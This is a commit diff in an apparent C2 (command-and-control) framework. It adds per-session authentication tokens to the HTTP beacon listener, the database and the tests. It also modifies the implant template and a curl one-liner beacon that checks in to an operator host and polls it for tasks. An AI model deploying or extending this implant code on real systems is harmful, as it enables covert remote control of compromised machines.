fix: authenticate individual HTTP sessions for tasks and files

This commit is contained in:
Ed1s0nZ committed 2026-10-06 03:37:39 +08:00
1 parent d9a111ff50
commit 338dcdbc17
12 files changed
+372 -17

No files matched your search

+6
View File
@@ -148,3 +148,9 @@
### HTTP 文件上传归属检查(表格第 36 行扩展路径)
HTTP 上传端点此前只验证共享监听器凭据与任务 ID 路径,未校验任务会话归属。现上传前查询任务及其会话,拒绝其他监听器任务。回归测试验证外部监听器不能覆盖已有文件、所属监听器正常上传可用;原路径安全测试增加真实任务/会话夹具。C2 包测试通过。文件下载端点使用独立 file_id,不可直接当 task_id 校验,未以错误映射限制下载;同监听器会话隔离及下载文件归属继续核对。
### HTTP 会话及文件端点隔离(表格第 36 行)
HTTP 原共享监听器凭据无法证明具体会话身份。现生成客户端为每个运行实例产生随机独立 X-Session-Token,数据库只保存 SHA-256 哈希;首次身份绑定不可覆盖,已有无绑定身份不得由仅知 UUID 的客户端认领。心跳、任务领取、结果回传和文件读写均检查独立凭据;文件下载通过任务 payload.file_id 关联真实所属会话。生成 Go 客户端所有 HTTP 请求同步携带会话凭据,curl 心跳客户端同步生成并携带凭据。双会话回归覆盖正常重连、任务领取、结果回传、文件读写及缺失/其他会话凭据拒绝,验证不修改其他任务或文件。身份测试覆盖哈希存储、旧身份禁止认领和跨监听器拒绝。C2/数据库测试通过,Go 客户端 Linux/Windows/macOS 编译通过,未执行生成客户端。
升级兼容:原 HTTP 客户端没有独立会话凭据,不能继续通过新校验,需要重新生成客户端;新实例使用新身份,不自动接管旧实例任务。自定义 HTTP 客户端需生成至少 32 字符随机凭据、首次注册携带并在同一实例后续请求保持一致。旧会话和任务记录保留。此要求是修复共享身份绕过所必需,未保留可绕过校验的旧协议入口。
+1 -1
View File
@@ -38,7 +38,7 @@
| 33 | 31 | 角色名可以加个 长度限制,否则展示有问题 | 已修复并有针对性验证 |
| 34 | 32 | 批量任务里只要指令不调用任何工具(例如「请只回复:OK」),子任务就必然失败并回「缺少执行证据」 | 已修复并有针对性验证 |
| 35 | — | Markdown 智能体:同文件名静默覆盖、关键字段不校验、name 含路径字符被静默改写 | 已修复并有针对性验证 |
| 36 | — | 任务结果不校验上报者归属 —— 任意植入体可伪造别的会话、甚至别的监听器的任务结果。 | 已修复持久连接跨会话及跨监听器回传;HTTP 同监听器会话隔离待核对 |
| 36 | — | 任务结果不校验上报者归属 —— 任意植入体可伪造别的会话、甚至别的监听器的任务结果。 | 已修复持久连接及 HTTP 跨会话、跨监听器回传,HTTP 文件端点同步隔离;旧 HTTP 客户端须重新生成 |
| 37 | — | 100s 状态不变、无 error、无 completed_at,会话早已离线。 | 待核对 |
| 38 | — | 在「工作流」里删掉一个正被角色引用的工作流 → 删除成功且没有任何提示;之后任何人用这个角色发起 | 已修复并有针对性验证 |
| 39 | — | 同一 implant uuid 重复上线互踢,旧连接断开把会话判死 | 已修复并有针对性验证 |
+3
View File
@@ -13,6 +13,8 @@ import (
func TestHTTPUploadEnforcesListenerOwnership(t *testing.T) {
manager, db := terminalTestManager(t)
secret := strings.Repeat("a", 43)
installHTTPIdentityFixture(t, db, "listener", "test-uuid", secret)
task := &database.C2Task{ID: "test-only-file-task", SessionID: "session", TaskType: "download", Status: "sent", CreatedAt: time.Now()}
if err := db.CreateC2Task(task); err != nil {
t.Fatal(err)
@@ -42,6 +44,7 @@ func TestHTTPUploadEnforcesListenerOwnership(t *testing.T) {
}
upload := httptest.NewRequest(http.MethodPost, "/upload?task_id="+task.ID, strings.NewReader(body))
upload.Header.Set("X-Implant-Token", "test-only-token")
upload.Header.Set("X-Session-Token", secret)
rr := httptest.NewRecorder()
listener.handleUpload(rr, upload)
expected := http.StatusNotFound
+36
View File
@@ -0,0 +1,36 @@
package c2
import (
"go.uber.org/zap"
"path/filepath"
"testing"
)
func TestHTTPBeaconSessionCredentialTemplateCompiles(t *testing.T) {
t.Setenv("GO111MODULE", "off")
manager, db := terminalTestManager(t)
key, err := GenerateAESKey()
if err != nil {
t.Fatal(err)
}
if _, err := db.Exec(`UPDATE c2_listeners SET type=?,encryption_key=?,implant_token=? WHERE id=?`, string(ListenerTypeHTTPBeacon), key, "test-only-token", "listener"); err != nil {
t.Fatal(err)
}
// Build artifacts remain temporary; generated clients are never executed.
templateDir, err := filepath.Abs("payload_templates")
if err != nil {
t.Fatal(err)
}
builder := NewPayloadBuilder(manager, zap.NewNop(), templateDir, t.TempDir())
for _, platform := range []struct{ os, arch string }{{"linux", "amd64"}, {"windows", "amd64"}, {"darwin", "arm64"}} {
t.Run(platform.os, func(t *testing.T) {
result, err := builder.BuildBeacon(PayloadBuilderInput{ListenerID: "listener", OS: platform.os, Arch: platform.arch, Host: "127.0.0.1"})
if err != nil {
t.Fatal(err)
}
if result.SizeBytes <= 0 {
t.Fatal("empty client")
}
})
}
}
+182
View File
@@ -0,0 +1,182 @@
package c2
import (
"crypto/sha256"
"cyberstrike-ai/internal/database"
"encoding/hex"
"encoding/json"
"go.uber.org/zap"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
func TestHTTPSessionIdentityIsolatesCheckInTasksAndResults(t *testing.T) {
manager, db := terminalTestManager(t)
key, err := GenerateAESKey()
if err != nil {
t.Fatal(err)
}
listener := &HTTPBeaconListener{rec: &database.C2Listener{ID: "listener", EncryptionKey: key, ImplantToken: "test-only-listener-token"}, manager: manager, cfg: &ListenerConfig{DefaultSleep: 5}, logger: zap.NewNop()}
secretA := strings.Repeat("a", 43)
secretB := strings.Repeat("b", 43)
checkIn := func(uuid, secret string) (int, string) {
raw, _ := json.Marshal(ImplantCheckInRequest{ImplantUUID: uuid, Hostname: "test-only-host"})
req := httptest.NewRequest(http.MethodPost, "/check_in", strings.NewReader(string(raw)))
req.Header.Set("X-Implant-Token", listener.rec.ImplantToken)
req.Header.Set("X-Session-Token", secret)
rr := httptest.NewRecorder()
listener.handleCheckIn(rr, req)
var response ImplantCheckInResponse
if rr.Code == http.StatusOK {
if err := json.Unmarshal(rr.Body.Bytes(), &response); err != nil {
t.Fatal(err)
}
}
return rr.Code, response.SessionID
}
code, sessionA := checkIn("test-only-identity-a", secretA)
if code != http.StatusOK || sessionA == "" {
t.Fatalf("valid checkin: %d", code)
}
code, sessionB := checkIn("test-only-identity-b", secretB)
if code != http.StatusOK || sessionB == sessionA {
t.Fatal("second identity failed")
}
if code, id := checkIn("test-only-identity-a", secretA); code != http.StatusOK || id != sessionA {
t.Fatal("valid reconnect failed")
}
for _, secret := range []string{"", secretB} {
if code, _ := checkIn("test-only-identity-a", secret); code != http.StatusNotFound {
t.Fatal("foreign identity takeover accepted")
}
}
task := &database.C2Task{ID: "test-only-owned-task", SessionID: sessionA, TaskType: "exec", Status: "queued", CreatedAt: time.Now()}
if err := db.CreateC2Task(task); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/tasks?session_id="+sessionA, nil)
req.Header.Set("X-Implant-Token", listener.rec.ImplantToken)
req.Header.Set("X-Session-Token", secretB)
rr := httptest.NewRecorder()
listener.handleTasks(rr, req)
if rr.Code != http.StatusNotFound {
t.Fatal("foreign tasks accepted")
}
saved, _ := db.GetC2Task(task.ID)
if saved.Status != "queued" {
t.Fatal("foreign poll dispatched task")
}
req.Header.Set("X-Session-Token", secretA)
rr = httptest.NewRecorder()
listener.handleTasks(rr, req)
if rr.Code != http.StatusOK {
t.Fatal("valid task poll failed")
}
fileID := "test-only-downstream-file"
if err := db.CreateC2Task(&database.C2Task{ID: "test-only-file-task", SessionID: sessionA, TaskType: "upload", Payload: map[string]interface{}{"file_id": fileID}, Status: "sent", CreatedAt: time.Now()}); err != nil {
t.Fatal(err)
}
dir := filepath.Join(manager.StorageDir(), "downstream")
if err := os.MkdirAll(dir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, fileID+".bin"), []byte("test-only-downstream-content"), 0600); err != nil {
t.Fatal(err)
}
listener.cfg.BeaconFilePath = "/file/"
uploadBody, err := EncryptAESGCM(key, []byte("test-only-upload-content"))
if err != nil {
t.Fatal(err)
}
for _, secret := range []string{"", secretB, secretA} {
req := httptest.NewRequest(http.MethodGet, "/file/"+fileID, nil)
req.Header.Set("X-Implant-Token", listener.rec.ImplantToken)
req.Header.Set("X-Session-Token", secret)
rr := httptest.NewRecorder()
listener.handleFileServe(rr, req)
expected := http.StatusNotFound
if secret == secretA {
expected = http.StatusOK
}
if rr.Code != expected {
t.Fatalf("file read identity status %d expected %d", rr.Code, expected)
}
req = httptest.NewRequest(http.MethodPost, "/upload?task_id="+task.ID, strings.NewReader(uploadBody))
req.Header.Set("X-Implant-Token", listener.rec.ImplantToken)
req.Header.Set("X-Session-Token", secret)
rr = httptest.NewRecorder()
listener.handleUpload(rr, req)
if rr.Code != expected {
t.Fatalf("file write identity status %d expected %d", rr.Code, expected)
}
_, path, err := uploadPathForTask(manager.StorageDir(), task.ID)
if err != nil {
t.Fatal(err)
}
content, readErr := os.ReadFile(path)
if secret != secretA {
if !os.IsNotExist(readErr) {
t.Fatal("foreign file write mutated storage")
}
} else if readErr != nil || string(content) != "test-only-upload-content" {
t.Fatal("valid file upload failed")
}
}
raw, _ := json.Marshal(TaskResultReport{TaskID: task.ID, Success: true, Output: "test-only-result"})
body, err := EncryptAESGCM(key, raw)
if err != nil {
t.Fatal(err)
}
for _, secret := range []string{secretB, secretA} {
req = httptest.NewRequest(http.MethodPost, "/result", strings.NewReader(body))
req.Header.Set("X-Implant-Token", listener.rec.ImplantToken)
req.Header.Set("X-Session-Token", secret)
rr = httptest.NewRecorder()
listener.handleResult(rr, req)
saved, _ = db.GetC2Task(task.ID)
if secret == secretB {
if rr.Code != http.StatusNotFound || saved.Status != "sent" || saved.ResultText != "" {
t.Fatal("foreign result persisted")
}
} else if rr.Code != http.StatusOK || saved.Status != "success" {
t.Fatal("valid result rejected")
}
}
}
func installHTTPIdentityFixture(t *testing.T, db *database.DB, listener, uuid, secret string) {
t.Helper()
hash := sha256.Sum256([]byte(secret))
if _, err := db.Exec(`INSERT INTO c2_http_session_auth(implant_uuid,listener_id,token_hash) VALUES(?,?,?)`, uuid, listener, hex.EncodeToString(hash[:])); err != nil {
t.Fatal(err)
}
}
func TestHTTPIdentityBindingDoesNotClaimLegacyOrExposeCredential(t *testing.T) {
_, db := terminalTestManager(t)
secret := strings.Repeat("test-only-secret-", 3)
if ok, err := db.BindC2HTTPIdentity("listener", "test-uuid", secret); err != nil || ok {
t.Fatalf("legacy identity claim: ok=%v err=%v", ok, err)
}
if ok, err := db.BindC2HTTPIdentity("listener", "test-only-new-identity", secret); err != nil || !ok {
t.Fatalf("new identity binding: ok=%v err=%v", ok, err)
}
if ok, err := db.BindC2HTTPIdentity("listener", "test-only-new-identity", strings.Repeat("other", 12)); err != nil || ok {
t.Fatalf("identity secret overwritten: ok=%v err=%v", ok, err)
}
var stored string
if err := db.QueryRow(`SELECT token_hash FROM c2_http_session_auth WHERE implant_uuid=?`, "test-only-new-identity").Scan(&stored); err != nil {
t.Fatal(err)
}
if stored == secret || len(stored) != 64 {
t.Fatal("raw credential stored instead of hash")
}
if ok, err := db.VerifyC2HTTPIdentity("foreign-listener", "test-only-new-identity", secret); err != nil || ok {
t.Fatal("identity usable across listeners")
}
}
+47 -9
View File
@@ -199,8 +199,8 @@ func (l *HTTPBeaconListener) handleCheckIn(w http.ResponseWriter, r *http.Reques
// curl oneliner 可能不携带完整字段,用 remote IP + listener ID 生成稳定标识
host, _, _ := net.SplitHostPort(r.RemoteAddr)
if strings.TrimSpace(req.ImplantUUID) == "" {
// 基于 IP + listener ID 生成稳定 UUID,同一 IP 多次 check_in 复用同一会话
req.ImplantUUID = fmt.Sprintf("curl_%s_%s", host, shortHash(host+l.rec.ID))
// 同一客户端凭据复用会话,同 IP 的不同客户端保持独立身份
req.ImplantUUID = fmt.Sprintf("curl_%s_%s", host, httpIdentityHash(host+l.rec.ID+r.Header.Get("X-Session-Token")))
}
if strings.TrimSpace(req.Hostname) == "" {
req.Hostname = "curl_" + host
@@ -214,6 +214,11 @@ func (l *HTTPBeaconListener) handleCheckIn(w http.ResponseWriter, r *http.Reques
if strings.TrimSpace(req.Arch) == "" {
req.Arch = "unknown"
}
bound, bindErr := l.manager.DB().BindC2HTTPIdentity(l.rec.ID, req.ImplantUUID, r.Header.Get("X-Session-Token"))
if bindErr != nil || !bound {
l.disguisedReject(w)
return
}
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
if err != nil {
http.Error(w, "ingest failed", http.StatusInternalServerError)
@@ -254,7 +259,7 @@ func (l *HTTPBeaconListener) handleTasks(w http.ResponseWriter, r *http.Request)
return
}
session, err := l.manager.DB().GetC2Session(sessionID)
if err != nil || session == nil || session.ListenerID != l.rec.ID {
if err != nil || session == nil || session.ListenerID != l.rec.ID || !l.authenticatesSession(r, session) {
l.disguisedReject(w)
return
}
@@ -299,7 +304,17 @@ func (l *HTTPBeaconListener) handleResult(w http.ResponseWriter, r *http.Request
l.disguisedReject(w)
return
}
if err := l.manager.IngestTaskResultFromListener(l.rec.ID, "", report); err != nil {
task, taskErr := l.manager.DB().GetC2Task(report.TaskID)
if taskErr != nil || task == nil {
l.disguisedReject(w)
return
}
session, sessionErr := l.manager.DB().GetC2Session(task.SessionID)
if sessionErr != nil || !l.authenticatesSession(r, session) {
l.disguisedReject(w)
return
}
if err := l.manager.IngestTaskResultFromListener(l.rec.ID, session.ID, report); err != nil {
http.Error(w, "ingest result failed", http.StatusInternalServerError)
return
}
@@ -324,7 +339,7 @@ func (l *HTTPBeaconListener) handleUpload(w http.ResponseWriter, r *http.Request
return
}
taskID := r.URL.Query().Get("task_id")
if taskID == "" || !l.ownsTask(taskID) {
if taskID == "" || !l.authenticatesTask(r, taskID) {
l.disguisedReject(w)
return
}
@@ -372,6 +387,21 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
l.disguisedReject(w)
return
}
identities, identityErr := l.manager.DB().C2HTTPFileIdentities(l.rec.ID, taskID)
authenticated := false
if identityErr == nil {
for _, identity := range identities {
ok, err := l.manager.DB().VerifyC2HTTPIdentity(l.rec.ID, identity, r.Header.Get("X-Session-Token"))
if err == nil && ok {
authenticated = true
break
}
}
}
if !authenticated {
l.disguisedReject(w)
return
}
fpath := filepath.Join(l.manager.StorageDir(), "downstream", taskID+".bin")
absPath, err := filepath.Abs(fpath)
if err != nil {
@@ -397,13 +427,21 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
// 鉴权 / 输出辅助
// ----------------------------------------------------------------------------
func (l *HTTPBeaconListener) ownsTask(taskID string) bool {
func (l *HTTPBeaconListener) authenticatesSession(r *http.Request, session *database.C2Session) bool {
if session == nil || session.ListenerID != l.rec.ID {
return false
}
ok, err := l.manager.DB().VerifyC2HTTPIdentity(l.rec.ID, session.ImplantUUID, r.Header.Get("X-Session-Token"))
return err == nil && ok
}
func (l *HTTPBeaconListener) authenticatesTask(r *http.Request, taskID string) bool {
task, err := l.manager.DB().GetC2Task(taskID)
if err != nil || task == nil {
return false
}
session, err := l.manager.DB().GetC2Session(task.SessionID)
return err == nil && session != nil && session.ListenerID == l.rec.ID
return err == nil && l.authenticatesSession(r, session)
}
// checkImplantToken 校验 X-Implant-Token header(恒定时间比较防止时序攻击)
@@ -526,9 +564,9 @@ func base64Encode(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
func shortHash(s string) string {
func httpIdentityHash(s string) string {
h := sha256.Sum256([]byte(s))
return hex.EncodeToString(h[:6])
return hex.EncodeToString(h[:])
}
// isPlaintextClient 判断请求是否来自明文客户端(curl oneliner 等)
+11
View File
@@ -111,6 +111,7 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}`
req, _ := http.NewRequest(http.MethodPost, base+"/check_in", strings.NewReader(body))
req.Header.Set("X-Implant-Token", token)
req.Header.Set("X-Session-Token", "test-only-session-credential-0123456789abcdef")
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil {
@@ -179,6 +180,13 @@ func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
t.Cleanup(func() { _ = m.StopListener(lid) })
fileID := "f_testfile123"
installHTTPIdentityFixture(t, db, lid, "test-only-file-uuid", "test-only-session-credential-0123456789abcdef")
if err := db.UpsertC2Session(&database.C2Session{ID: "test-only-file-session", ListenerID: lid, ImplantUUID: "test-only-file-uuid"}); err != nil {
t.Fatal(err)
}
if err := db.CreateC2Task(&database.C2Task{ID: "test-only-download-task", SessionID: "test-only-file-session", TaskType: "upload", Payload: map[string]interface{}{"file_id": fileID}, Status: "sent", CreatedAt: time.Now()}); err != nil {
t.Fatal(err)
}
downDir := filepath.Join(store, "downstream")
if err := os.MkdirAll(downDir, 0o755); err != nil {
t.Fatal(err)
@@ -195,6 +203,7 @@ func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
t.Run(path, func(t *testing.T) {
req, _ := http.NewRequest(http.MethodGet, base+path, nil)
req.Header.Set("X-Implant-Token", token)
req.Header.Set("X-Session-Token", "test-only-session-credential-0123456789abcdef")
resp, err := client.Do(req)
if err != nil {
t.Fatal(err)
@@ -232,6 +241,7 @@ func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
func TestHTTPBeaconListener_HandleUploadConfinesTaskID(t *testing.T) {
m, db := terminalTestManager(t)
store := m.StorageDir()
installHTTPIdentityFixture(t, db, "listener", "test-uuid", "test-only-session-credential-0123456789abcdef")
if err := db.CreateC2Task(&database.C2Task{ID: "t_safe123", SessionID: "session", TaskType: "download", Status: "sent", CreatedAt: time.Now()}); err != nil {
t.Fatal(err)
}
@@ -256,6 +266,7 @@ func TestHTTPBeaconListener_HandleUploadConfinesTaskID(t *testing.T) {
}
req := httptest.NewRequest(http.MethodPost, "/upload?task_id=t_safe123", strings.NewReader(encrypted))
req.Header.Set("X-Implant-Token", token)
req.Header.Set("X-Session-Token", "test-only-session-credential-0123456789abcdef")
rr := httptest.NewRecorder()
l.handleUpload(rr, req)
+1
View File
@@ -57,6 +57,7 @@ func TestStartListener_ImplantTokenSurvivesHandlerRedaction(t *testing.T) {
body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}`
req, _ := http.NewRequest(http.MethodPost, "http://127.0.0.1:"+strconv.Itoa(port)+"/check_in", strings.NewReader(body))
req.Header.Set("X-Implant-Token", token)
req.Header.Set("X-Session-Token", "test-only-session-credential-0123456789abcdef")
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
if err != nil {
+3 -3
View File
@@ -188,13 +188,13 @@ func GenerateOneliner(in OnelinerInput) (string, error) {
`OS=$(uname -s 2>/dev/null||echo unknown);`+
`AR=$(uname -m 2>/dev/null||echo unknown);`+
`IP=$(hostname -I 2>/dev/null|awk "{print \$1}"||echo "");`+
`SID="";`+
`ST=$(od -An -N32 -tx1 /dev/urandom|tr -d " \n");[ ${#ST} -eq 64 ]||exit 1;SH="X-Session-Token: $ST";SID="";`+
`while :;do `+
`BODY="{\"hostname\":\"$HN\",\"username\":\"$UN\",\"os\":\"$OS\",\"arch\":\"$AR\",\"internal_ip\":\"$IP\",\"pid\":$$}";`+
`R=$(curl -fsSk -H "$H" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+
`R=$(curl -fsSk -H "$H" -H "$SH" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+
`if [ -n "$R" ]&&[ -z "$SID" ];then SID=$(echo "$R"|grep -o "\"session_id\":\"[^\"]*\""|head -1|cut -d"\"" -f4);fi;`+
`if [ -n "$SID" ];then `+
`T=$(curl -fsSk -H "$H" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+
`T=$(curl -fsSk -H "$H" -H "$SH" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+
`fi;`+
`sleep 5;`+
`done' &`,
@@ -72,6 +72,7 @@ const tcpBeaconWireMax = 64 << 20
var (
implantUUID string
sessionID string
sessionToken string
currentSleep = defaultSleep
currentJit = defaultJitter
cwdMu sync.Mutex
@@ -114,6 +115,12 @@ type TaskReport struct {
func main() {
defer func() { _ = recover() }()
implantUUID = generateImplantUUID()
if beaconTransport != "tcp" {
tokenBytes := make([]byte, 32)
if _, err := rand.Read(tokenBytes); err != nil { return }
sessionToken = base64.RawURLEncoding.EncodeToString(tokenBytes)
implantUUID += "-" + sessionToken[:16]
}
currentCwd, _ = os.Getwd()
if beaconTransport == "tcp" {
@@ -366,6 +373,7 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
req.Header.Set("X-Session-Token", sessionToken)
resp, err := httpClient.Do(req)
if err != nil {
return nil, err
@@ -509,6 +517,7 @@ func checkIn() (*CheckInResp, error) {
req, _ := http.NewRequest("POST", serverURL+checkInPath, bytes.NewReader([]byte(enc)))
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
req.Header.Set("X-Session-Token", sessionToken)
resp, err := httpClient.Do(req)
if err != nil {
return nil, err
@@ -537,6 +546,7 @@ func fetchTasks() ([]TaskEnv, error) {
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
req.Header.Set("X-Session-Token", sessionToken)
resp, err := httpClient.Do(req)
if err != nil {
return nil, err
@@ -571,6 +581,7 @@ func reportResult(report TaskReport) {
req, _ := http.NewRequest("POST", serverURL+resultPath, bytes.NewReader([]byte(enc)))
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
req.Header.Set("X-Session-Token", sessionToken)
resp, err := httpClient.Do(req)
if err != nil {
return
+61
View File
@@ -0,0 +1,61 @@
package database
import (
"crypto/sha256"
"crypto/subtle"
"database/sql"
"encoding/hex"
"strings"
)
// BindC2HTTPIdentity binds a new HTTP implant identity without permitting an
// existing session to be claimed by a client that only knows its UUID.
func (db *DB) BindC2HTTPIdentity(listenerID, implantUUID, token string) (bool, error) {
if strings.TrimSpace(listenerID) == "" || strings.TrimSpace(implantUUID) == "" || len(token) < 32 || len(token) > 256 {
return false, nil
}
hash := sha256.Sum256([]byte(token))
encoded := hex.EncodeToString(hash[:])
_, err := db.Exec(`INSERT INTO c2_http_session_auth(implant_uuid,listener_id,token_hash)
SELECT ?,?,? WHERE NOT EXISTS(SELECT 1 FROM c2_sessions WHERE implant_uuid=?)
ON CONFLICT(implant_uuid) DO NOTHING`, implantUUID, listenerID, encoded, implantUUID)
if err != nil {
return false, err
}
return db.VerifyC2HTTPIdentity(listenerID, implantUUID, token)
}
func (db *DB) VerifyC2HTTPIdentity(listenerID, implantUUID, token string) (bool, error) {
if len(token) < 32 || len(token) > 256 {
return false, nil
}
var owner, stored string
err := db.QueryRow(`SELECT listener_id,token_hash FROM c2_http_session_auth WHERE implant_uuid=?`, implantUUID).Scan(&owner, &stored)
if err != nil {
if err == sql.ErrNoRows {
return false, nil
}
return false, err
}
hash := sha256.Sum256([]byte(token))
encoded := hex.EncodeToString(hash[:])
return owner == listenerID && subtle.ConstantTimeCompare([]byte(stored), []byte(encoded)) == 1, nil
}
// C2HTTPFileIdentities resolves downstream file IDs through task payloads.
func (db *DB) C2HTTPFileIdentities(listenerID, fileID string) ([]string, error) {
rows, err := db.Query(`SELECT DISTINCT s.implant_uuid FROM c2_tasks t JOIN c2_sessions s ON s.id=t.session_id WHERE s.listener_id=? AND json_valid(t.payload_json) AND json_extract(t.payload_json,'$.file_id')=?`, listenerID, fileID)
if err != nil {
return nil, err
}
defer rows.Close()
var identities []string
for rows.Next() {
var identity string
if err := rows.Scan(&identity); err != nil {
return nil, err
}
identities = append(identities, identity)
}
return identities, rows.Err()
}
+10 -4
View File
@@ -929,10 +929,16 @@ func (db *DB) initTables() error {
for tableName, ddl := range map[string]string{
"c2_listeners": createC2ListenersTable,
"c2_sessions": createC2SessionsTable,
"c2_tasks": createC2TasksTable,
"c2_files": createC2FilesTable,
"c2_events": createC2EventsTable,
"c2_profiles": createC2ProfilesTable,
"c2_http_session_auth": `CREATE TABLE IF NOT EXISTS c2_http_session_auth (
implant_uuid TEXT PRIMARY KEY,
listener_id TEXT NOT NULL,
token_hash TEXT NOT NULL,
FOREIGN KEY (listener_id) REFERENCES c2_listeners(id) ON DELETE CASCADE
);`,
"c2_tasks": createC2TasksTable,
"c2_files": createC2FilesTable,
"c2_events": createC2EventsTable,
"c2_profiles": createC2ProfilesTable,
} {
if _, err := db.Exec(ddl); err != nil {
return fmt.Errorf("创建%s表失败: %w", tableName, err)